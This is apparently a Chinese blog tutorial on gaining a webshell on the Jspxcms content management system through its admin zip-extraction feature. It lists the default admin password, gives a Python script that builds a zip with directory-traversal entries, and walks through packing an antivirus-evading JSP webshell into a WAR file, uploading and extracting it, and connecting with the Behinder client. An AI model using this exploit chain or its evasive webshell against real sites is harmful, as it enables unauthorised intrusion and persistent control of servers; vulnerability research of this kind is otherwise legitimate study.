Jspxcms后台的zip解压功能getshell

深藏阁楼爱情的钟 2024-05-23 14:15 29阅读 0赞

## Jspxcms后台的zip解压功能getshell ##

由于这套CMS做了相关防御配置，压缩包里像上文中直接加入JSP文件是无法执行的，会报403错误。因而想到使用目录穿越的方式，跳出JspxCM的根目录，并根据war包会自动解压的特点，从而getshell。  
jspxcms默认账号密码：admin/123456

import zipfile
    
    if __name__ == "__main__":
        try:
            binary = b''
            zipFile = zipfile.ZipFile("jspxcms.zip", "a", zipfile.ZIP_DEFLATED)
    
            info = zipfile.ZipInfo("jspxcms.zip")
            zipFile.writestr("../../../test.html", binary)
            zipFile.writestr("../../../", binary)
            zipFile.writestr("../../", binary)
            zipFile.writestr("../", binary)
    
            zipFile.close()
    
        except IOError as e:
            raise e

使用webshell免杀工具生成免杀jsp,并打包成war  
本次使用的是：https://github.com/Tas9er/ByPassBehinder  
![在这里插入图片描述][a5e0ddbcdb6642aba746fbaaffefa28c.png]  
将生成的war包拖到python生成的zip中：  
![在这里插入图片描述][4716c8713bf44395ac2b833804d8f74e.png]  
进入后台，上传并解压；  
![在这里插入图片描述][4e98afe26826479a87b830f592999eaa.png]

访问 上传成功  
![在这里插入图片描述][e9c90f7a92334390aff5b7cdcfedfec0.png]  
冰蝎连接：  
![在这里插入图片描述][3376d4b13b7f4fa8be7e750bc72cf923.png]

[a5e0ddbcdb6642aba746fbaaffefa28c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/0bfcff231d044295b708b1e3a77c1a35.png
[4716c8713bf44395ac2b833804d8f74e.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/4da434e7757c4551b0d0189f20d8d7dd.png
[4e98afe26826479a87b830f592999eaa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/8ecf68832c9940be907b176fee55a7ee.png
[e9c90f7a92334390aff5b7cdcfedfec0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/d846fec98c6444c5b95cfd539bea8e2a.png
[3376d4b13b7f4fa8be7e750bc72cf923.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/26086678ab5c47078909ab760cc4a6a2.png